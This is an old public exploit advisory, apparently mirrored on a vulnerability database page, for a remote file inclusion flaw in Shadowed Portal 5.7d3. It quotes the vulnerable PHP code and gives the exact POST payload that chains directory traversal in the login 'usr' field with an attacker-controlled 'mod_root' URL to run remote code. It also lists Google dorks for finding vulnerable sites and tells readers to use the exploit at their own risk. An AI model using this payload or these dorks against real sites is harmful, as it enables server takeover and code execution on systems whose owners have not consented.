Lucene search
K

Shadowed Portal <= 5.7d3 (POST) Remote File Inclusion Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 22 Views

Shadowed Portal <= 5.7d3 (POST) Remote File Inclusion Vulnerability, Vendor: http://www.shad0wed.com, Severity: Highest, Author: The:Parado

Code

                                                 ____            __________         __             ____  __   
/_   | ____     |__\_____  \  _____/  |_          /_   |/  |_ 
 |   |/    \    |  | _(__  &#60;_/ ___\   __\  ______  |   \   __\
 |   |   |  \   |  |/       \  \___|  |   /_____/  |   ||  |  
 |___|___|  /\__|  /______  /\___  &#62;__|            |___||__|  
          \/\______|      \/     \/                           
------------------------------------------------------------------------------------------------
This is a Public Exploit. 21/12/2007 (dd-mm-yyyy)
------------------------------------------------------------------------------------------------
§ Shadowed Portal 5.7 and maybe lower - Remote File Includes (Require) Vulnerabilities §
Vendor:	  http://www.shad0wed.com
Severity: Highest
Author:	  The:Paradox

Visit inj3ct-it.org

Proud to be Italian.
------------------------------------------------------------------------------------------------
Related Codes:

-- control.php; line 1:

&#60;?php

require(&#34;config.php&#34;);

require(&#34;globals.php&#34;);

require(&#34;functions.php&#34;);

require(&#34;variables.php&#34;);

$return = setvar(&#34;return&#34;);

if($act == &#34;login&#34;) {

$online = 0;

$usr = $_POST[&#39;usr&#39;];

$pwd = $_POST[&#39;pwd&#39;];

if(file_exists($root.&#34;/users/&#34;.strtolower($usr).&#34;.php&#34;)) {

require($root.&#34;/users/&#34;.strtolower($usr).&#34;.php&#34;);

}

-- globals.php; line 1:

&#60;?php

define(&#39;CHECK&#39;,md5(&#34;null&#34;));

global $viv;

global $mod;

global $act;

global $do;

global $act;

global $id;

global $tp;

global $w;

global $method;

global $board;

global $user;

global $pass;

global $cat;

global $linkback;

global $HTTP_POST_VARS;

global $_GET;

global $_POST;

global $_FILES;

global $HTTP_REFERER;

global $_SERVER;

-- /modules/fs/mod.php; line 1:

&#60;?php

if(!defined(&#39;CHECK&#39;)) { exit; }
require($mod_root.&#34;/config.php&#34;);

------------------------------------------------------------------------------------------------
Bug Explanation: 

This Portal presents a vulnerability in the &#34;login system&#34; that allows us to require a page &#34;.php&#34; in the directory &#34;/users/&#34; (whatever using directory transversal (&#34;../&#34;) we can require any page).

Additionally &#34;Check&#34; was defined by the required page globals.php, allowing us to bypass the &#34;security-die&#34; on the top of most php page (see /modules/fs/mod.php; line 1).
If we require &#34;/modules/fs/mod.php&#34; with a $mod_root value, we can require an external page of the site.

We can do Post Request to control.php?act=login with post values: usr=../modules/fs/mod&pwd=casualpass&mod_root=http://yoursite.org/yourscript? and get RFI.

------------------------------------------------------------------------------------------------
The require in control.php is extremely unsafe, it could be used with other pages to obtain other vulnerabilities.
------------------------------------------------------------------------------------------------
Google Dork-&#62; Powered by Shadowed Portal
Google Dork-&#62; These script&#39;s code is Copyright 2003-2006 by Shadowed Works.
------------------------------------------------------------------------------------------------
Use this exploit at your own risk. You are responsible for your own deeds.
------------------------------------------------------------------------------------------------
Use your brain, do not lame. Enjoy. =)

# milw0rm.com [2007-12-21]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation